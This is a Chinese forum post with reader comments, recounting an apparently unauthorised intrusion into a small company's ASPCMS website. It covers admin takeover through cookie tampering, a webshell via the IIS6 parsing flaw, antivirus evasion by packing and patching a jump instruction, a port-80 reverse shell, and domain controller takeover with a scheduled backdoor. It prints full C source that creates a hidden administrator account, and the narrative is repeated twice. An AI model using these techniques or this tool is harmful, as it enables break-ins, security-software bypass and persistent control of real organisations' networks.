获取webshell到内网渗透一条龙
获取webshell到提权到内网渗透一条龙
其实相比起我这个文章来说,我觉得题目更霸气。呵呵。闲话少说,咱们开始今天的文章
0x01、
首先呢 我的目标站是一个小型的工作室公司。比较小。网站是asp cms的asp有一个
比较二蛋的漏洞,上次文章写过了,就不再强调了。我们首先去注册一个用户
然后我们利用谷歌cookie修改插件 我们把值修改为admin
将ID的值修改为1.
这样我们就可以来修改admin的密码了
0x02、
Aspcms拿shell就不写了 模板修改 利用iis6解析漏洞
0x03、
我们来执行一下net user 看一下用户。不成功缺少组建。明显做了手脚
0x04、
再一看发现了360杀毒软件。我不解为什么这么服务器安装360呢?蛋疼
这样呢我们需要反弹一个shell,但是这个shell功能太渣渣。木有这个功能。还有一个问题就是,这个服务器只对外开放了80端口,其他的端口没有开放。且换了个webshell去反弹shell时无法得到回话。这样的话我们就无法得到反弹的shell。但是我们是不是就不能反弹了呢?不然。我们可以来进行端口复用,也就是说我们反弹的shell也通过80端口、所以我们要用个小程序。但是貌似不免杀。我们来免杀一下。免杀360我基本就是加个壳改一下就ok了。好几年不做免杀,这方面都忘记了。
随便找了个壳加了一下,我们把JBE 改为JA 。Ok免杀了
Good,上传到服务器运行一下
接下来就是端口服用了。我们本地监听80.然后发一个数据包到服务器。获得shell
突破360防黑墙我们来添加一个用户。/add 与/ad的性质是一样的。所以我们直接/ad添加 不拦截。当然 你也可以编译一下C代码恩。。好我们继续
有了一个用户 我们去嗅探。但是很可惜。啥子都没有。
0x05、
既然没办法 拿咱就在内网渗透上想想办法
我们先生成一个windows可执行后门
然后我们调用模块来监听,获得一个会话
下面我们进行内网渗透,调用一个模块
然后我们查看一下域,找到域管理
我们来劫持域管理
获得shell然后我们再来查看一下域
我们获得域管理的时间
然后我们计划任务 2分钟之后执行我们的后门程序
Ok 获得会话。然后域控你有了,你懂的。
小菜文章,勿喷~勿踩~
其实相比起我这个文章来说,我觉得题目更霸气。呵呵。闲话少说,咱们开始今天的文章
0x01、
首先呢 我的目标站是一个小型的工作室公司。比较小。网站是asp cms的asp有一个
比较二蛋的漏洞,上次文章写过了,就不再强调了。我们首先去注册一个用户
然后我们利用谷歌cookie修改插件 我们把值修改为admin
将ID的值修改为1.
这样我们就可以来修改admin的密码了
0x02、
Aspcms拿shell就不写了 模板修改 利用iis6解析漏洞
0x03、
我们来执行一下net user 看一下用户。不成功缺少组建。明显做了手脚
0x04、
再一看发现了360杀毒软件。我不解为什么这么服务器安装360呢?蛋疼
这样呢我们需要反弹一个shell,但是这个shell功能太渣渣。木有这个功能。还有一个问题就是,这个服务器只对外开放了80端口,其他的端口没有开放。且换了个webshell去反弹shell时无法得到回话。这样的话我们就无法得到反弹的shell。但是我们是不是就不能反弹了呢?不然。我们可以来进行端口复用,也就是说我们反弹的shell也通过80端口、所以我们要用个小程序。但是貌似不免杀。我们来免杀一下。免杀360我基本就是加个壳改一下就ok了。好几年不做免杀,这方面都忘记了。
随便找了个壳加了一下,我们把JBE 改为JA 。Ok免杀了
Good,上传到服务器运行一下
接下来就是端口服用了。我们本地监听80.然后发一个数据包到服务器。获得shell
突破360防黑墙我们来添加一个用户。/add 与/ad的性质是一样的。所以我们直接/ad添加 不拦截。当然 你也可以编译一下C代码
//Code by Pnig0s1992
//Date:2012,3,17
#include <stdio.h>
#include <Windows.h>
#include <lm.h>
#pragma comment(lib,"Netapi32.lib")
int AddUser(LPWSTR lpUsername,LPWSTR lpPassword,LPWSTR lpServerName);
int SetGroup(LPWSTR lpUsername,LPWSTR lpServerName,LPWSTR lpGroupName);
BOOL ImprovePriv(LPWSTR name);
int main(INT argc,char * argv[])
{
BOOL bResult = ImprovePriv(SE_MACHINE_ACCOUNT_NAME);
if(argc < 3)
{
printf("\nCode by Pnig0s1992");
printf("\nUsage:");
printf("\n\t%s UserName Password",argv[0]);
printf("\n\tRemark:Default add to Group:Administrators.");
return -1;
}
if(bResult)
{
printf("Successfully promote priv!");
}else
{
printf("Failed promote priv.");
return -1;
}
int Namesize=MultiByteToWideChar(CP_ACP,0,argv[1],-1,NULL,0);
wchar_t *wUserName =new wchar_t[Namesize+1];
if(!MultiByteToWideChar(CP_ACP,0,argv[1],-1,wUserName,Namesize))
{
return false;
}
int Passsize=MultiByteToWideChar(CP_ACP,0,argv[2],-1,NULL,0);
wchar_t *wPassword =new wchar_t[Passsize+1];
if(!MultiByteToWideChar(CP_ACP,0,argv[2],-1,wPassword,Passsize))
{
return false;
}
LPTSTR lpName = wUserName;
LPTSTR lpPassword = wPassword;
LPWSTR lpSevName = NULL;
LPWSTR lpGroupName = L"Administrators";
AddUser(lpName,lpPassword,lpSevName);
SetGroup(lpName,lpSevName,lpGroupName);
return 0;
}
BOOL ImprovePriv(LPWSTR name)
{
HANDLE hToken;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
{
printf("\nGet process token failed.(%d)",GetLastError());
return FALSE;
}
TOKEN_PRIVILEGES tkp;
tkp.PrivilegeCount = 1;
if(!LookupPrivilegeValue(NULL,name,&tkp.Privileges[0].Luid))
{
printf("\nLookup process priv failed.(%d)",GetLastError());
return FALSE;
}
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,0,NULL,NULL))
{
printf("\nAjust process priv failed.(%d)",GetLastError());
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
int AddUser(LPWSTR lpUsername,LPWSTR lpPassword,LPWSTR lpServerName)
{
USER_INFO_1 ui;
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS nStatus;
ui.usri1_name = lpUsername;
ui.usri1_password = lpPassword;
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
nStatus = NetUserAdd(lpServerName,dwLevel,(LPBYTE)&ui,&dwError);
if(nStatus == NERR_Success)
{
printf("\nAdd user:%S successfully!",lpUsername);
}else
{
printf("\nAdd user failed:%d.",nStatus);
}
return 0;
}
int SetGroup(LPWSTR lpUsername,LPWSTR lpServerName,LPWSTR lpGroupName)
{
NET_API_STATUS nStatus;
LOCALGROUP_MEMBERS_INFO_3 lgui;
lgui.lgrmi3_domainandname = lpUsername;
nStatus = NetLocalGroupAddMembers(lpServerName,lpGroupName,3,(LPBYTE)&lgui,1);
if(nStatus == NERR_Success)
{
printf("\nSuccessfully set USER:%S to GROUP:%S!",lpUsername,lpGroupName);
}else if(nStatus == NERR_GroupNotFound)
{
printf("\nCan't find such a group:%S.",lpGroupName);
}else
{
printf("\nSet GROUP:%S failed.",lpGroupName);
}
return 0;
}
有了一个用户 我们去嗅探。但是很可惜。啥子都没有。
0x05、
既然没办法 拿咱就在内网渗透上想想办法
我们先生成一个windows可执行后门
然后我们调用模块来监听,获得一个会话
下面我们进行内网渗透,调用一个模块
然后我们查看一下域,找到域管理
我们来劫持域管理
获得shell然后我们再来查看一下域
我们获得域管理的时间
然后我们计划任务 2分钟之后执行我们的后门程序
Ok 获得会话。然后域控你有了,你懂的。
小菜文章,勿喷~勿踩~
评论70次
强啊,老哥
感觉没咋看懂 组件错误那一块,怎么过的呢?
组件不存在能执行那个所谓的端口复用小程序?最关键的地方偏偏一笔带过
提权那块没看明白怎么一下就到域控了
是那段c代码吧,楼主修改了下重新编译的,牛人
劫持域管这里我就看不明白了,就那么容易,反弹一个msf会话,什么权限,或者是抓hash之类的都没有,就直接劫持了,有什么漏洞还是什么
学xi了 谢谢楼主
赞一下 学xi了
12 年的,我居然没看过这篇帖子,还是有收获
提权那儿一带而过了?
求分享过360的壳
真心流畅
呵呵 羽翼一直在和鱼大联xi吧,不过见到你的身影很多,顶起来
模仿测试,拿去当教程了
楼主的工具根本不是端口复用的 本地监听80端口,要服务器反弹回来才能用,如果服务器禁止访问外网的话根本不能用 跟端口复用扯不上任何关xi吧
好高端啊。。。
很详细 很好
标准教材 不错!
iis6 80端口复用。。我火星了 - -。。。。
在看了一遍,亮点在于第一复用iis的80端口 这工具是个神器啊,后面的域渗透就很简洁了,哈哈看上楼主的端口复用神器了
强悍,有个webshell一直没有提权成功。xi望有用!